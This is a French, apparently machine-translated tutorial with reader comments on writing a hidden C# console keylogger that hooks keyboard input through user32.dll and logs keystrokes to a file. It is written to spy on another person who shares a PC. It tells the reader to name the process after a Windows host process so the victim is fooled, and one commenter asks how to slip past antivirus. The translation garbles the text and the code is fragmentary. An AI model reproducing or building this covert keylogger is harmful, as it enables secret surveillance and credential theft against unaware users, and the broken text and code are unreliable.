Comment créer un simple, keylogger Console cachée en C # Sharp - octet NULL

Comment créer un simple, keylogger Console cachée en C # de Sharp

Aujourd'hui, je vais vous montrer comment créer un simple keylogger dans Visual C # Sharp, qui démarrera caché de la vue, et enregistrer tout ce que les types d'utilisateurs sur le keybord, puis enregistrez-le dans un fichier texte. Si vous partagez un PC et que vous voulez suivre ce que quelqu'un d'autre est en train d'écrire.







Tu auras besoin de

Étape 1 Création du projet

Pourquoi? Eh bien, renommer le fichier .exe ne suffit pas, le nom que vous donnez votre projet apparaîtra dans le gestionnaire de tâches, de sorte que vous assumez n'êtes pas un utilisateur très technique, si vous voyez un processus appelé « » cmd.exe | ConsoleApplication5" alors la sonnette d'alarme ne doivent pas sonner Cependant, si vous voyez. « SysWin86 | Windows Host Process local "vous ne saurez pas tout de suite que ce n'est pas un processus légitime.

Donc, créer un projet d'application console. un nom approprié et dans la section « Utilisation » clause, inclure ce qui suit, si ce n'est pas déjà là:

Juste au-dessous « Classe YourProject », ajouter ce qui suit:

const private int WH_KEYBOARD_LL = 13;
const private int WM_KEYDOWN = 0x0100;
LowLevelKeyboardProc private static _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

Dans la fonction "Main" ( "Main statique public") ajouter:

Enfin, allez dans Project >> Ajouter des références.

Dans l'onglet .NET, choisissez System.Windows.Forms et l'ajouter à votre projet.

Etape 3 Fonctions pour clé Capturing

Ci-dessous la clause principale, ajouter ces fonctions:

délégué privé IntPtr LowLevelKeyboardProc (
int nCode, IntPtr wParam, lParam IntPtr);

Étape 4 Importations DLL

Après avoir ajouté les fonctions de capture clés, ajoutez-les:

// Ces dll se chargera de les crochets. mateys Yaaar!

[DllImport ( "user32.dll", charset = CharSet.Auto, SetLastError = true)]
extern private static IntPtr SetWindowsHookEx (int idHook,






LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport ( "user32.dll", charset = CharSet.Auto, SetLastError = true)]
extern private static IntPtr CallNextHookEx (IntPtr HHK, int nCode,
IntPtr wParam, lParam IntPtr);

[DllImport ( "kernel32.dll", charset = CharSet.Auto, SetLastError = true)]
extern private static IntPtr GetModuleHandle (string lpModuleName);

// Les deux importations dll ci-dessous se chargera de la cachette de la fenêtre.

[DllImport ( "user32.dll")]
extern bool ShowWindow statique (IntPtr hWnd, int nCmdShow);

Étape 5 Compile et l'essayer!

Ceci est l'étape de plaisir. Une fois que vous avez ajouté tout le code, il suffit d'exécuter le compilateur et essayer le .exe!

Comme la fenêtre est cachée, mais enregistre encore chaque frappe, vous allez maintenant consignant tous les frappes jamais pressées sur ce PC.

D'autres améliorations

-Code "Sauce"

Hourra pour keyloggers, merci beaucoup! J'ai toujours haï la simplicité C #, VB, etc toujours fait faire un keylogger, haha. Il est environ 8 millions de fois plus difficile que cela pour le faire sur Python, ce qui me met en colère xD. Eh bien, dans Linux au moins, étant donné que Windows libs et API sont easy..Whereas sous Linux, vous avez à peu près à OWN xlib. Comment injuste.

Oui, mais sur linux il fonctionne toujours. Considérant que les fenêtres, il ne fonctionne que si vous avez des dépendances de 100 mil installés et toutes .Net fonctionnalités à jour.

Voilà ce que je déteste sur les fenêtres, ça ne marche jamais en fait. pas vraiment. 1 pc = / = une autre. Les deux fenêtres en cours d'exécution 7 par exemple.

Ouais, c'est toujours vrai: D. Bon point. / Me souhaite Python avait getKeystrokes () xD.

private static IntPtr SetHook (LowLevelKeyboardProc proc)
utilisant (Process curProcess = Process.GetCurrentProcess ())
utilisant (ProcessModule curModule = curProcess.MainModule)
retourner SetWindowsHookEx (WHKEYBOARD LL, proc,
GetModuleHandle (curModule.ModuleName), 0);
>
>

p.s: le nom de la DLL WHKEYBOARD LL a un trait de soulignement après WH et CLAVIER

Je suis nouveau en studio visuel. Le code ci-dessus travaillé et j'ai publié le projet de processus hôte local et installé, et le gestionnaire de tâches montre que l'application est toujours en cours. Mon doute est où est le fichier journal lors de l'exécution comme une application indépendante. Je ne vois nulle part. S'il vous plaît aider!

Quand je compile, mon antivirus saute me avertissement d'un virus Win32 / Spy.Agent.NSO. Est-il possible de rendre invisible à l'antivirus?

Eh bien, j'ai beaucoup de questions ici.
Tout d'abord, comment puis-je obtenir les clés pour différencier les majuscules et minuscules en utilisant ce? Il est très important.
Deuxième question:

Y a-t-il un moyen de réparer ça?

Last but not least, est-il possible de convertir les noms clés tels que « Shift gauche », « Retour » et les clés qui ont l'aspect visuel dans leur aspect visuel? Je suppose qu'il est, mais le code est assez difficile pour moi de saisir.







Articles Liés